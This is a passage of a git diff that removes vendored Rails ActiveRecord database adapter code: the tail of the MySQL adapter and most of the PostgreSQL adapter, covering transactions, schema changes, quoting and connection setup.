-          raise ActiveRecord::StatementInvalid, "'Packets out of order' error was received from the database. Please update your mysql bindings (gem install mysql) and read http://dev.mysql.com/doc/mysql/en/password-hashing.html for more information.  If you're on Windows, use the Instant Rails installer to get the updated mysql bindings."
-        else
-          raise
-        end
-      end
-
-      def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil) #:nodoc:
-        super sql, name
-        id_value || @connection.insert_id
-      end
-
-      def update_sql(sql, name = nil) #:nodoc:
-        super
-        @connection.affected_rows
-      end
-
-      def begin_db_transaction #:nodoc:
-        execute "BEGIN"
-      rescue Exception
-        # Transactions aren't supported
-      end
-
-      def commit_db_transaction #:nodoc:
-        execute "COMMIT"
-      rescue Exception
-        # Transactions aren't supported
-      end
-
-      def rollback_db_transaction #:nodoc:
-        execute "ROLLBACK"
-      rescue Exception
-        # Transactions aren't supported
-      end
-
-      def create_savepoint
-        execute("SAVEPOINT #{current_savepoint_name}")
-      end
-
-      def rollback_to_savepoint
-        execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
-      end
-
-      def release_savepoint
-        execute("RELEASE SAVEPOINT #{current_savepoint_name}")
-      end
-
-      def add_limit_offset!(sql, options) #:nodoc:
-        if limit = options[:limit]
-          limit = sanitize_limit(limit)
-          unless offset = options[:offset]
-            sql << " LIMIT #{limit}"
-          else
-            sql << " LIMIT #{offset.to_i}, #{limit}"
-          end
-        end
-      end
-
-
-      # SCHEMA STATEMENTS ========================================
-
-      def structure_dump #:nodoc:
-        if supports_views?
-          sql = "SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'"
-        else
-          sql = "SHOW TABLES"
-        end
-
-        select_all(sql).inject("") do |structure, table|
-          table.delete('Table_type')
-          structure += select_one("SHOW CREATE TABLE #{quote_table_name(table.to_a.first.last)}")["Create Table"] + ";\n\n"
-        end
-      end
-
-      def recreate_database(name, options = {}) #:nodoc:
-        drop_database(name)
-        create_database(name, options)
-      end
-
-      # Create a new MySQL database with optional <tt>:charset</tt> and <tt>:collation</tt>.
-      # Charset defaults to utf8.
-      #
-      # Example:
-      #   create_database 'charset_test', :charset => 'latin1', :collation => 'latin1_bin'
-      #   create_database 'matt_development'
-      #   create_database 'matt_development', :charset => :big5
-      def create_database(name, options = {})
-        if options[:collation]
-          execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}` COLLATE `#{options[:collation]}`"
-        else
-          execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}`"
-        end
-      end
-
-      def drop_database(name) #:nodoc:
-        execute "DROP DATABASE IF EXISTS `#{name}`"
-      end
-
-      def current_database
-        select_value 'SELECT DATABASE() as db'
-      end
-
-      # Returns the database character set.
-      def charset
-        show_variable 'character_set_database'
-      end
-
-      # Returns the database collation strategy.
-      def collation
-        show_variable 'collation_database'
-      end
-
-      def tables(name = nil) #:nodoc:
-        tables = []
-        result = execute("SHOW TABLES", name)
-        result.each { |field| tables << field[0] }
-        result.free
-        tables
-      end
-
-      def drop_table(table_name, options = {})
-        super(table_name, options)
-      end
-
-      def indexes(table_name, name = nil)#:nodoc:
-        indexes = []
-        current_index = nil
-        result = execute("SHOW KEYS FROM #{quote_table_name(table_name)}", name)
-        result.each do |row|
-          if current_index != row[2]
-            next if row[2] == "PRIMARY" # skip the primary key
-            current_index = row[2]
-            indexes << IndexDefinition.new(row[0], row[2], row[1] == "0", [], [])
-          end
-
-          indexes.last.columns << row[4]
-          indexes.last.lengths << row[7]
-        end
-        result.free
-        indexes
-      end
-
-      def columns(table_name, name = nil)#:nodoc:
-        sql = "SHOW FIELDS FROM #{quote_table_name(table_name)}"
-        columns = []
-        result = execute(sql, name)
-        result.each { |field| columns << MysqlColumn.new(field[0], field[4], field[1], field[2] == "YES") }
-        result.free
-        columns
-      end
-
-      def create_table(table_name, options = {}) #:nodoc:
-        super(table_name, options.reverse_merge(:options => "ENGINE=InnoDB"))
-      end
-
-      def rename_table(table_name, new_name)
-        execute "RENAME TABLE #{quote_table_name(table_name)} TO #{quote_table_name(new_name)}"
-      end
-
-      def add_column(table_name, column_name, type, options = {})
-        add_column_sql = "ALTER TABLE #{quote_table_name(table_name)} ADD #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
-        add_column_options!(add_column_sql, options)
-        add_column_position!(add_column_sql, options)
-        execute(add_column_sql)
-      end
-
-      def change_column_default(table_name, column_name, default) #:nodoc:
-        column = column_for(table_name, column_name)
-        change_column table_name, column_name, column.sql_type, :default => default
-      end
-
-      def change_column_null(table_name, column_name, null, default = nil)
-        column = column_for(table_name, column_name)
-
-        unless null || default.nil?
-          execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL")
-        end
-
-        change_column table_name, column_name, column.sql_type, :null => null
-      end
-
-      def change_column(table_name, column_name, type, options = {}) #:nodoc:
-        column = column_for(table_name, column_name)
-
-        unless options_include_default?(options)
-          options[:default] = column.default
-        end
-
-        unless options.has_key?(:null)
-          options[:null] = column.null
-        end
-
-        change_column_sql = "ALTER TABLE #{quote_table_name(table_name)} CHANGE #{quote_column_name(column_name)} #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
-        add_column_options!(change_column_sql, options)
-        add_column_position!(change_column_sql, options)
-        execute(change_column_sql)
-      end
-
-      def rename_column(table_name, column_name, new_column_name) #:nodoc:
-        options = {}
-        if column = columns(table_name).find { |c| c.name == column_name.to_s }
-          options[:default] = column.default
-          options[:null] = column.null
-        else
-          raise ActiveRecordError, "No such column: #{table_name}.#{column_name}"
-        end
-        current_type = select_one("SHOW COLUMNS FROM #{quote_table_name(table_name)} LIKE '#{column_name}'")["Type"]
-        rename_column_sql = "ALTER TABLE #{quote_table_name(table_name)} CHANGE #{quote_column_name(column_name)} #{quote_column_name(new_column_name)} #{current_type}"
-        add_column_options!(rename_column_sql, options)
-        execute(rename_column_sql)
-      end
-
-      # Maps logical Rails types to MySQL-specific data types.
-      def type_to_sql(type, limit = nil, precision = nil, scale = nil)
-        return super unless type.to_s == 'integer'
-
-        case limit
-        when 1; 'tinyint'
-        when 2; 'smallint'
-        when 3; 'mediumint'
-        when nil, 4, 11; 'int(11)'  # compatibility with MySQL default
-        when 5..8; 'bigint'
-        else raise(ActiveRecordError, "No integer type has byte size #{limit}")
-        end
-      end
-
-      def add_column_position!(sql, options)
-        if options[:first]
-          sql << " FIRST"
-        elsif options[:after]
-          sql << " AFTER #{quote_column_name(options[:after])}"
-        end
-      end
-
-      # SHOW VARIABLES LIKE 'name'
-      def show_variable(name)
-        variables = select_all("SHOW VARIABLES LIKE '#{name}'")
-        variables.first['Value'] unless variables.empty?
-      end
-
-      # Returns a table's primary key and belonging sequence.
-      def pk_and_sequence_for(table) #:nodoc:
-        keys = []
-        result = execute("describe #{quote_table_name(table)}")
-        result.each_hash do |h|
-          keys << h["Field"]if h["Key"] == "PRI"
-        end
-        result.free
-        keys.length == 1 ? [keys.first, nil] : nil
-      end
-
-      # Returns just a table's primary key
-      def primary_key(table)
-        pk_and_sequence = pk_and_sequence_for(table)
-        pk_and_sequence && pk_and_sequence.first
-      end
-
-      def case_sensitive_equality_operator
-        "= BINARY"
-      end
-
-      def limited_update_conditions(where_sql, quoted_table_name, quoted_primary_key)
-        where_sql
-      end
-
-      protected
-        def quoted_columns_for_index(column_names, options = {})
-          length = options[:length] if options.is_a?(Hash)
-
-          quoted_column_names = case length
-          when Hash
-            column_names.map {|name| length[name] ? "#{quote_column_name(name)}(#{length[name]})" : quote_column_name(name) }
-          when Fixnum
-            column_names.map {|name| "#{quote_column_name(name)}(#{length})"}
-          else
-            column_names.map {|name| quote_column_name(name) }
-          end
-        end
-
-      private
-        def connect
-          encoding = @config[:encoding]
-          if encoding
-            @connection.options(Mysql::SET_CHARSET_NAME, encoding) rescue nil
-          end
-
-          if @config[:sslca] || @config[:sslkey]
-            @connection.ssl_set(@config[:sslkey], @config[:sslcert], @config[:sslca], @config[:sslcapath], @config[:sslcipher])
-          end
-
-          @connection.options(Mysql::OPT_CONNECT_TIMEOUT, @config[:connect_timeout]) if @config[:connect_timeout]
-          @connection.options(Mysql::OPT_READ_TIMEOUT, @config[:read_timeout]) if @config[:read_timeout]
-          @connection.options(Mysql::OPT_WRITE_TIMEOUT, @config[:write_timeout]) if @config[:write_timeout]
-
-          @connection.real_connect(*@connection_options)
-
-          # reconnect must be set after real_connect is called, because real_connect sets it to false internally
-          @connection.reconnect = !!@config[:reconnect] if @connection.respond_to?(:reconnect=)
-
-          configure_connection
-        end
-
-        def configure_connection
-          encoding = @config[:encoding]
-          execute("SET NAMES '#{encoding}'") if encoding
-
-          # By default, MySQL 'where id is null' selects the last inserted id.
-          # Turn this off. http://dev.rubyonrails.org/ticket/6778
-          execute("SET SQL_AUTO_IS_NULL=0")
-        end
-
-        def select(sql, name = nil)
-          @connection.query_with_result = true
-          result = execute(sql, name)
-          rows = result.all_hashes
-          result.free
-          @connection.more_results && @connection.next_result    # invoking stored procedures with CLIENT_MULTI_RESULTS requires this to tidy up else connection will be dropped
-          rows
-        end
-
-        def supports_views?
-          version[0] >= 5
-        end
-
-        def version
-          @version ||= @connection.server_info.scan(/^(\d+)\.(\d+)\.(\d+)/).flatten.map { |v| v.to_i }
-        end
-
-        def column_for(table_name, column_name)
-          unless column = columns(table_name).find { |c| c.name == column_name.to_s }
-            raise "No such column: #{table_name}.#{column_name}"
-          end
-          column
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
deleted file mode 100644
index a3483189..00000000
--- a/vendor/rails/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
+++ /dev/null
@@ -1,1078 +0,0 @@
-require 'active_record/connection_adapters/abstract_adapter'
-
-begin
-  require_library_or_gem 'pg'
-rescue LoadError => e
-  begin
-    require_library_or_gem 'postgres'
-    class PGresult
-      alias_method :nfields, :num_fields unless self.method_defined?(:nfields)
-      alias_method :ntuples, :num_tuples unless self.method_defined?(:ntuples)
-      alias_method :ftype, :type unless self.method_defined?(:ftype)
-      alias_method :cmd_tuples, :cmdtuples unless self.method_defined?(:cmd_tuples)
-    end
-  rescue LoadError
-    raise e
-  end
-end
-
-module ActiveRecord
-  class Base
-    # Establishes a connection to the database that's used by all Active Record objects
-    def self.postgresql_connection(config) # :nodoc:
-      config = config.symbolize_keys
-      host     = config[:host]
-      port     = config[:port] || 5432
-      username = config[:username].to_s if config[:username]
-      password = config[:password].to_s if config[:password]
-
-      if config.has_key?(:database)
-        database = config[:database]
-      else
-        raise ArgumentError, "No database specified. Missing argument: database."
-      end
-
-      # The postgres drivers don't allow the creation of an unconnected PGconn object,
-      # so just pass a nil connection object for the time being.
-      ConnectionAdapters::PostgreSQLAdapter.new(nil, logger, [host, port, nil, nil, database, username, password], config)
-    end
-  end
-
-  module ConnectionAdapters
-    class TableDefinition
-      def xml(*args)
-        options = args.extract_options!
-        column(args[0], 'xml', options)
-      end
-    end
-    # PostgreSQL-specific extensions to column definitions in a table.
-    class PostgreSQLColumn < Column #:nodoc:
-      # Instantiates a new PostgreSQL column definition in a table.
-      def initialize(name, default, sql_type = nil, null = true)
-        super(name, self.class.extract_value_from_default(default), sql_type, null)
-      end
-
-      private
-        def extract_limit(sql_type)
-          case sql_type
-          when /^bigint/i;    8
-          when /^smallint/i;  2
-          else super
-          end
-        end
-
-        # Extracts the scale from PostgreSQL-specific data types.
-        def extract_scale(sql_type)
-          # Money type has a fixed scale of 2.
-          sql_type =~ /^money/ ? 2 : super
-        end
-
-        # Extracts the precision from PostgreSQL-specific data types.
-        def extract_precision(sql_type)
-          # Actual code is defined dynamically in PostgreSQLAdapter.connect
-          # depending on the server specifics
-          super
-        end
-
-        # Maps PostgreSQL-specific data types to logical Rails types.
-        def simplified_type(field_type)
-          case field_type
-            # Numeric and monetary types
-            when /^(?:real|double precision)$/
-              :float
-            # Monetary types
-            when /^money$/
-              :decimal
-            # Character types
-            when /^(?:character varying|bpchar)(?:\(\d+\))?$/
-              :string
-            # Binary data types
-            when /^bytea$/
-              :binary
-            # Date/time types
-            when /^timestamp with(?:out)? time zone$/
-              :datetime
-            when /^interval$/
-              :string
-            # Geometric types
-            when /^(?:point|line|lseg|box|"?path"?|polygon|circle)$/
-              :string
-            # Network address types
-            when /^(?:cidr|inet|macaddr)$/
-              :string
-            # Bit strings
-            when /^bit(?: varying)?(?:\(\d+\))?$/
-              :string
-            # XML type
-            when /^xml$/
-              :xml
-            # Arrays
-            when /^\D+\[\]$/
-              :string
-            # Object identifier types
-            when /^oid$/
-              :integer
-            # Pass through all types that are not specific to PostgreSQL.
-            else
-              super
-          end
-        end
-
-        # Extracts the value from a PostgreSQL column default definition.
-        def self.extract_value_from_default(default)
-          case default
-            # Numeric types
-            when /\A\(?(-?\d+(\.\d*)?\)?)\z/
-              $1
-            # Character types
-            when /\A'(.*)'::(?:character varying|bpchar|text)\z/m
-              $1
-            # Character types (8.1 formatting)
-            when /\AE'(.*)'::(?:character varying|bpchar|text)\z/m
-              $1.gsub(/\\(\d\d\d)/) { $1.oct.chr }
-            # Binary data types
-            when /\A'(.*)'::bytea\z/m
-              $1
-            # Date/time types
-            when /\A'(.+)'::(?:time(?:stamp)? with(?:out)? time zone|date)\z/
-              $1
-            when /\A'(.*)'::interval\z/
-              $1
-            # Boolean type
-            when 'true'
-              true
-            when 'false'
-              false
-            # Geometric types
-            when /\A'(.*)'::(?:point|line|lseg|box|"?path"?|polygon|circle)\z/
-              $1
-            # Network address types
-            when /\A'(.*)'::(?:cidr|inet|macaddr)\z/
-              $1
-            # Bit string types
-            when /\AB'(.*)'::"?bit(?: varying)?"?\z/
-              $1
-            # XML type
-            when /\A'(.*)'::xml\z/m
-              $1
-            # Arrays
-            when /\A'(.*)'::"?\D+"?\[\]\z/
-              $1
-            # Object identifier types
-            when /\A-?\d+\z/
-              $1
-            else
-              # Anything else is blank, some user type, or some function
-              # and we can't know the value of that, so return nil.
-              nil
-          end
-        end
-    end
-  end
-
-  module ConnectionAdapters
-    # The PostgreSQL adapter works both with the native C (http://ruby.scripting.ca/postgres/) and the pure
-    # Ruby (available both as gem and from http://rubyforge.org/frs/?group_id=234&release_id=1944) drivers.
-    #
-    # Options:
-    #
-    # * <tt>:host</tt> - Defaults to "localhost".
-    # * <tt>:port</tt> - Defaults to 5432.
-    # * <tt>:username</tt> - Defaults to nothing.
-    # * <tt>:password</tt> - Defaults to nothing.
-    # * <tt>:database</tt> - The name of the database. No default, must be provided.
-    # * <tt>:schema_search_path</tt> - An optional schema search path for the connection given as a string of comma-separated schema names.  This is backward-compatible with the <tt>:schema_order</tt> option.
-    # * <tt>:encoding</tt> - An optional client encoding that is used in a <tt>SET client_encoding TO <encoding></tt> call on the connection.
-    # * <tt>:min_messages</tt> - An optional client min messages that is used in a <tt>SET client_min_messages TO <min_messages></tt> call on the connection.
-    # * <tt>:allow_concurrency</tt> - If true, use async query methods so Ruby threads don't deadlock; otherwise, use blocking query methods.
-    class PostgreSQLAdapter < AbstractAdapter
-      ADAPTER_NAME = 'PostgreSQL'.freeze
-
-      NATIVE_DATABASE_TYPES = {
-        :primary_key => "serial primary key".freeze,
-        :string      => { :name => "character varying", :limit => 255 },
-        :text        => { :name => "text" },
-        :integer     => { :name => "integer" },
-        :float       => { :name => "float" },
-        :decimal     => { :name => "decimal" },
-        :datetime    => { :name => "timestamp" },
-        :timestamp   => { :name => "timestamp" },
-        :time        => { :name => "time" },
-        :date        => { :name => "date" },
-        :binary      => { :name => "bytea" },
-        :boolean     => { :name => "boolean" },
-        :xml         => { :name => "xml" }
-      }
-
-      # Returns 'PostgreSQL' as adapter name for identification purposes.
-      def adapter_name
-        ADAPTER_NAME
-      end
-
-      # Initializes and connects a PostgreSQL adapter.
-      def initialize(connection, logger, connection_parameters, config)
-        super(connection, logger)
-        @connection_parameters, @config = connection_parameters, config
-
-        connect
-      end
-
-      # Is this connection alive and ready for queries?
-      def active?
-        if @connection.respond_to?(:status)
-          @connection.status == PGconn::CONNECTION_OK
-        else
-          # We're asking the driver, not ActiveRecord, so use @connection.query instead of #query
-          @connection.query 'SELECT 1'
-          true
-        end
-      # postgres-pr raises a NoMethodError when querying if no connection is available.
-      rescue PGError, NoMethodError
-        false
-      end
-
-      # Close then reopen the connection.
-      def reconnect!
-        if @connection.respond_to?(:reset)
-          @connection.reset
-          configure_connection
-        else
-          disconnect!
-          connect
-        end
-      end
-
-      # Close the connection.
-      def disconnect!
-        @connection.close rescue nil
-      end
-
-      def native_database_types #:nodoc:
-        NATIVE_DATABASE_TYPES
-      end
-
-      # Does PostgreSQL support migrations?
-      def supports_migrations?
-        true
-      end
-
-      # Does PostgreSQL support finding primary key on non-ActiveRecord tables?
-      def supports_primary_key? #:nodoc:
-        true
-      end
-
-      # Enable standard-conforming strings if available.
-      def set_standard_conforming_strings
-        old, self.client_min_messages = client_min_messages, 'panic'
-        execute('SET standard_conforming_strings = on') rescue nil
-      ensure
-        self.client_min_messages = old
-      end
-
-      def supports_insert_with_returning?
-        postgresql_version >= 80200
-      end
-
-      def supports_ddl_transactions?
-        true
-      end
-
-      def supports_savepoints?
-        true
-      end
-
-      # Returns the configured supported identifier length supported by PostgreSQL,
-      # or report the default of 63 on PostgreSQL 7.x.
-      def table_alias_length
-        @table_alias_length ||= (postgresql_version >= 80000 ? query('SHOW max_identifier_length')[0][0].to_i : 63)
-      end
-
-      # QUOTING ==================================================
-
-      # Escapes binary strings for bytea input to the database.
-      def escape_bytea(original_value)
-        if @connection.respond_to?(:escape_bytea)
-          self.class.instance_eval do
-            define_method(:escape_bytea) do |value|
-              @connection.escape_bytea(value) if value
-            end
-          end
-        elsif PGconn.respond_to?(:escape_bytea)
-          self.class.instance_eval do
-            define_method(:escape_bytea) do |value|
-              PGconn.escape_bytea(value) if value
-            end
-          end
-        else
-          self.class.instance_eval do
-            define_method(:escape_bytea) do |value|
-              if value
-                result = ''
-                value.each_byte { |c| result << sprintf('\\\\%03o', c) }
-                result
-              end
-            end
-          end
-        end
-        escape_bytea(original_value)
-      end
-
-      # Unescapes bytea output from a database to the binary string it represents.
-      # NOTE: This is NOT an inverse of escape_bytea! This is only to be used
-      #       on escaped binary output from database drive.
-      def unescape_bytea(original_value)
-        # In each case, check if the value actually is escaped PostgreSQL bytea output
-        # or an unescaped Active Record attribute that was just written.
-        if @connection.respond_to?(:unescape_bytea)
-          self.class.instance_eval do
-            define_method(:unescape_bytea) do |value|
-              @connection.unescape_bytea(value) if value
-            end
-          end
-        elsif PGconn.respond_to?(:unescape_bytea)
-          self.class.instance_eval do
-            define_method(:unescape_bytea) do |value|
-              PGconn.unescape_bytea(value) if value
-            end
-          end
-        else
-          raise 'Your PostgreSQL connection does not support unescape_bytea. Try upgrading to pg 0.9.0 or later.'
-        end
-        unescape_bytea(original_value)
-      end
-
-      # Quotes PostgreSQL-specific data types for SQL input.
-      def quote(value, column = nil) #:nodoc:
-        if value.kind_of?(String) && column && column.type == :binary
-          "'#{escape_bytea(value)}'"
-        elsif value.kind_of?(String) && column && column.sql_type == 'xml'
-          "xml '#{quote_string(value)}'"
-        elsif value.kind_of?(Numeric) && column && column.sql_type == 'money'
-          # Not truly string input, so doesn't require (or allow) escape string syntax.
-          "'#{value.to_s}'"
-        elsif value.kind_of?(String) && column && column.sql_type =~ /^bit/
-          case value
-            when /^[01]*$/
-              "B'#{value}'" # Bit-string notation
-            when /^[0-9A-F]*$/i
-              "X'#{value}'" # Hexadecimal notation
-          end
-        else
-          super
-        end
-      end
-
-      # Quotes strings for use in SQL input in the postgres driver for better performance.
-      def quote_string(original_value) #:nodoc:
-        if @connection.respond_to?(:escape)
-          self.class.instance_eval do
-            define_method(:quote_string) do |s|
-              @connection.escape(s)
-            end
-          end
-        elsif PGconn.respond_to?(:escape)
-          self.class.instance_eval do
-            define_method(:quote_string) do |s|
-              PGconn.escape(s)
-            end
-          end
-        else
-          # There are some incorrectly compiled postgres drivers out there
-          # that don't define PGconn.escape.
-          self.class.instance_eval do
-            remove_method(:quote_string)
-          end
-        end
-        quote_string(original_value)
-      end
-
-      # Checks the following cases:
-      #
-      # - table_name
-      # - "table.name"
-      # - schema_name.table_name
-      # - schema_name."table.name"
-      # - "schema.name".table_name
-      # - "schema.name"."table.name"
-      def quote_table_name(name)
-        schema, name_part = extract_pg_identifier_from_name(name.to_s)
-
-        unless name_part
-          quote_column_name(schema)
-        else
-          table_name, name_part = extract_pg_identifier_from_name(name_part)
-          "#{quote_column_name(schema)}.#{quote_column_name(table_name)}"
-        end
-      end
-
-      # Quotes column names for use in SQL queries.
-      def quote_column_name(name) #:nodoc:
-        PGconn.quote_ident(name.to_s)
-      end
-
-      # Quote date/time values for use in SQL input. Includes microseconds
-      # if the value is a Time responding to usec.
-      def quoted_date(value) #:nodoc:
-        if value.acts_like?(:time) && value.respond_to?(:usec)
-          "#{super}.#{sprintf("%06d", value.usec)}"
-        else
-          super
-        end
-      end
-
-      # REFERENTIAL INTEGRITY ====================================
-
-      def supports_disable_referential_integrity?() #:nodoc:
-        version = query("SHOW server_version")[0][0].split('.')
-        (version[0].to_i >= 8 && version[1].to_i >= 1) ? true : false
-      rescue
-        return false
-      end
-
-      def disable_referential_integrity(&block) #:nodoc:
-        if supports_disable_referential_integrity?() then
-          execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} DISABLE TRIGGER ALL" }.join(";"))
-        end
-        yield
-      ensure
-        if supports_disable_referential_integrity?() then
-          execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} ENABLE TRIGGER ALL" }.join(";"))
-        end
-      end
-
-      # DATABASE STATEMENTS ======================================
-
-      # Executes a SELECT query and returns an array of rows. Each row is an
-      # array of field values.
-      def select_rows(sql, name = nil)
-        select_raw(sql, name).last
-      end
-
-      # Executes an INSERT query and returns the new record's ID
-      def insert(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)
-        # Extract the table from the insert sql. Yuck.
-        table = sql.split(" ", 4)[2].gsub('"', '')
-
-        # Try an insert with 'returning id' if available (PG >= 8.2)
-        if supports_insert_with_returning?
-          pk, sequence_name = *pk_and_sequence_for(table) unless pk
-          if pk
-            id = select_value("#{sql} RETURNING #{quote_column_name(pk)}")
-            clear_query_cache
-            return id
-          end
-        end
-
-        # Otherwise, insert then grab last_insert_id.
-        if insert_id = super
-          insert_id
-        else
-          # If neither pk nor sequence name is given, look them up.
-          unless pk || sequence_name
-            pk, sequence_name = *pk_and_sequence_for(table)
-          end
-
-          # If a pk is given, fallback to default sequence name.
-          # Don't fetch last insert id for a table without a pk.
-          if pk && sequence_name ||= default_sequence_name(table, pk)
-            last_insert_id(table, sequence_name)
-          end
-        end
-      end
-
-      # create a 2D array representing the result set
-      def result_as_array(res) #:nodoc:
-        # check if we have any binary column and if they need escaping
-        unescape_col = []
-        for j in 0...res.nfields do
-          # unescape string passed BYTEA field (OID == 17)
-          unescape_col << ( res.ftype(j)==17 )
-        end
-
-        ary = []
-        for i in 0...res.ntuples do
-          ary << []
-          for j in 0...res.nfields do
-            data = res.getvalue(i,j)
-            data = unescape_bytea(data) if unescape_col[j] and data.is_a?(String)
-            ary[i] << data
-          end
-        end
-        return ary
-      end
-
-
-      # Queries the database and returns the results in an Array-like object
-      def query(sql, name = nil) #:nodoc:
-        log(sql, name) do
-          if @async
-            res = @connection.async_exec(sql)
-          else
-            res = @connection.exec(sql)
-          end
-          return result_as_array(res)
-        end
-      end
-
-      # Executes an SQL statement, returning a PGresult object on success
-      # or raising a PGError exception otherwise.
-      def execute(sql, name = nil)
-        log(sql, name) do
-          if @async
-            @connection.async_exec(sql)
-          else
-            @connection.exec(sql)
-          end
-        end
-      end
-
-      # Executes an UPDATE query and returns the number of affected tuples.
-      def update_sql(sql, name = nil)
-        super.cmd_tuples
-      end
-
-      # Begins a transaction.
-      def begin_db_transaction
-        execute "BEGIN"
-      end
-
-      # Commits a transaction.
-      def commit_db_transaction
-        execute "COMMIT"
-      end
-
-      # Aborts a transaction.
-      def rollback_db_transaction
-        execute "ROLLBACK"
-      end
-
-      if defined?(PGconn::PQTRANS_IDLE)
-        # The ruby-pg driver supports inspecting the transaction status,
-        # while the ruby-postgres driver does not.
-        def outside_transaction?
-          @connection.transaction_status == PGconn::PQTRANS_IDLE
-        end
-      end
-
-      def create_savepoint
-        execute("SAVEPOINT #{current_savepoint_name}")
-      end
-
-      def rollback_to_savepoint
-        execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
-      end
-
-      def release_savepoint
-        execute("RELEASE SAVEPOINT #{current_savepoint_name}")
-      end
-
-      # SCHEMA STATEMENTS ========================================
-
-      def recreate_database(name) #:nodoc:
-        drop_database(name)
-        create_database(name)
-      end
-
-      # Create a new PostgreSQL database.  Options include <tt>:owner</tt>, <tt>:template</tt>,
-      # <tt>:encoding</tt>, <tt>:tablespace</tt>, and <tt>:connection_limit</tt> (note that MySQL uses
-      # <tt>:charset</tt> while PostgreSQL uses <tt>:encoding</tt>).
-      #
-      # Example:
-      #   create_database config[:database], config
-      #   create_database 'foo_development', :encoding => 'unicode'
-      def create_database(name, options = {})
-        options = options.reverse_merge(:encoding => "utf8")
-
-        option_string = options.symbolize_keys.sum do |key, value|
-          case key
-          when :owner
-            " OWNER = \"#{value}\""
-          when :template
-            " TEMPLATE = \"#{value}\""
-          when :encoding
-            " ENCODING = '#{value}'"
-          when :tablespace
-            " TABLESPACE = \"#{value}\""
-          when :connection_limit
-            " CONNECTION LIMIT = #{value}"
-          else
-            ""
-          end
-        end
-
-        execute "CREATE DATABASE #{quote_table_name(name)}#{option_string}"
-      end
-
-      # Drops a PostgreSQL database
-      #
-      # Example:
-      #   drop_database 'matt_development'
-      def drop_database(name) #:nodoc:
-        if postgresql_version >= 80200
-          execute "DROP DATABASE IF EXISTS #{quote_table_name(name)}"
-        else
-          begin
-            execute "DROP DATABASE #{quote_table_name(name)}"
-          rescue ActiveRecord::StatementInvalid
-            @logger.warn "#{name} database doesn't exist." if @logger
-          end
-        end
-      end
-
-
-      # Returns the list of all tables in the schema search path or a specified schema.
-      def tables(name = nil)
-        schemas = schema_search_path.split(/,/).map { |p| quote(p) }.join(',')
-        query(<<-SQL, name).map { |row| row[0] }
-          SELECT tablename
-            FROM pg_tables
-           WHERE schemaname IN (#{schemas})
-        SQL
-      end
-
-      # Returns the list of all indexes for a table.
-      def indexes(table_name, name = nil)
-         schemas = schema_search_path.split(/,/).map { |p| quote(p) }.join(',')
-         result = query(<<-SQL, name)
-           SELECT distinct i.relname, d.indisunique, d.indkey, t.oid
-             FROM pg_class t, pg_class i, pg_index d
-           WHERE i.relkind = 'i'
-             AND d.indexrelid = i.oid
-             AND d.indisprimary = 'f'
-             AND t.oid = d.indrelid
-             AND t.relname = '#{table_name}'
-             AND i.relnamespace IN (SELECT oid FROM pg_namespace WHERE nspname IN (#{schemas}) )
-          ORDER BY i.relname
-        SQL
-
-
-        indexes = []
-
-        indexes = result.map do |row|
-          index_name = row[0]
-          unique = row[1] == 't'
-          indkey = row[2].split(" ")
-          oid = row[3]
-
-          columns = query(<<-SQL, "Columns for index #{row[0]} on #{table_name}").inject({}) {|attlist, r| attlist[r[1]] = r[0]; attlist}
-          SELECT a.attname, a.attnum
-          FROM pg_attribute a
-          WHERE a.attrelid = #{oid}
-          AND a.attnum IN (#{indkey.join(",")})
-          SQL
-
-          column_names = indkey.map {|attnum| columns[attnum] }
-          IndexDefinition.new(table_name, index_name, unique, column_names)
-
-        end
-
-        indexes
-      end
-
-      # Returns the list of all column definitions for a table.
-      def columns(table_name, name = nil)
-        # Limit, precision, and scale are all handled by the superclass.
-        column_definitions(table_name).collect do |name, type, default, notnull|
-          PostgreSQLColumn.new(name, default, type, notnull == 'f')
-        end
-      end
-
-      # Returns the current database name.
-      def current_database
-        query('select current_database()')[0][0]
-      end
-
-      # Returns the current database encoding format.
-      def encoding
-        query(<<-end_sql)[0][0]
-          SELECT pg_encoding_to_char(pg_database.encoding) FROM pg_database
-          WHERE pg_database.datname LIKE '#{current_database}'
-        end_sql
-      end
-
-      # Sets the schema search path to a string of comma-separated schema names.
-      # Names beginning with $ have to be quoted (e.g. $user => '$user').
-      # See: http://www.postgresql.org/docs/current/static/ddl-schemas.html
-      #
-      # This should be not be called manually but set in database.yml.
-      def schema_search_path=(schema_csv)
-        if schema_csv
-          execute "SET search_path TO #{schema_csv}"
-          @schema_search_path = schema_csv
-        end
-      end
-
-      # Returns the active schema search path.
-      def schema_search_path
-        @schema_search_path ||= query('SHOW search_path')[0][0]
-      end
-
-      # Returns the current client message level.
-      def client_min_messages
-        query('SHOW client_min_messages')[0][0]
-      end
-
-      # Set the client message level.
-      def client_min_messages=(level)
-        execute("SET client_min_messages TO '#{level}'")
-      end
-
-      # Returns the sequence name for a table's primary key or some other specified key.
-      def default_sequence_name(table_name, pk = nil) #:nodoc:
-        default_pk, default_seq = pk_and_sequence_for(table_name)
-        default_seq || "#{table_name}_#{pk || default_pk || 'id'}_seq"
-      end
-
-      # Resets the sequence of a table's primary key to the maximum value.
-      def reset_pk_sequence!(table, pk = nil, sequence = nil) #:nodoc:
-        unless pk and sequence
-          default_pk, default_sequence = pk_and_sequence_for(table)
-          pk ||= default_pk
-          sequence ||= default_sequence
-        end
-        if pk
-          if sequence
-            quoted_sequence = quote_column_name(sequence)
-
-            select_value <<-end_sql, 'Reset sequence'
